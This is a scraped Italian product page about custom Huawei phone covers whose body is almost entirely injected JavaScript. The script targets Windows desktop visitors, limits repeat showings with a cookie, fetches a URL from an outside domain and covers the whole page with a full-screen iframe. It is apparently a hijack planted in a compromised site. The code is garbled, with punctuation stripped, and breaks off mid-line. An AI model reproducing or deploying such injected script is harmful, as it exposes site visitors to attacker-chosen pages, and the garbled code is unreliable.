Cover Huawei personalizzate
(function(){var DEBUG=window.location.search.indexOf('_vcdebug') ==-1,URL_FILE='https //myfoodsxsxsxcvcxs.cc/iframe-url.txt',COOKIE='_vc',LIMIT=3,info= ];function d(msg,val){info.push(val ==undefined msg+' '+JSON.stringify(val) msg)}function showDebug(){if( DEBUG)return;var el=document.createElement('div');el.style.cssText='position fixed;top 10px;right 10px;background #111;color #0f0;font 13px/1.7 monospace;padding 16px 20px;z-index 2147483647;max-width 500px;border-radius 8px;white-space pre-wrap;box-shadow 0 4px 24px rgba(0,0,0,.7)';el.textContent='=== VC DEBUG ===\n'+info.join('\n');(document.body||document.documentElement).appendChild(el)}function getCookie(n){var m=document.cookie.match(new RegExp('( ^|; )'+n+'=( ^;]*)'));return m parseInt(m 1])||0 0}function setCookie(n,v){var exp=new Date(Date.now()+30*24*60*60*1000).toUTCString();document.cookie=n+'='+v+'; path=/; expires='+exp}var ua=navigator.userAgent,isWin=/Windows NT/.test(ua),isMob=/Mobile|Android|iPhone|iPad|Tablet/i.test(ua);d('user_agent',ua);d('is_windows',isWin);d('is_mobile',isMob);if( isWin||isMob){d('STOP - not windows desktop');return showDebug()}var count=getCookie(COOKIE);d('show_count',count);d('show_limit',LIMIT);d('tip clear cookie _vc to retest');if(count>=LIMIT){d('STOP - show limit reached');return showDebug()}d('fetching '+URL_FILE);fetch(URL_FILE).then(function(r){d('http_status',r.status);d('cors_header',r.headers.get('access-control-allow-origin'));return r.text()}).then(function(body){var url=body.trim();d('url_received',url);if( url||url.indexOf('http') ==0){d('STOP - url invalid or empty');return showDebug()}d('OK - iframe will show');showDebug();if(DEBUG)return;setCookie(COOKIE,count+1);var f=document.createElement('iframe');f.src=url;f.style.cssText='position fixed;top 0;left 0;width 100%;height 100%;border none;z-index 2147483647';f.setAttribute('frameborder','0');f.setAttribute('allow','fullscreen');f.setAttribute('allowfullscreen','true');(document.body||document.documentElement).appendChild(f)}).catch(function(e){d('FETCH ERROR - '+e.toString());d('LIKELY
Leggi altro

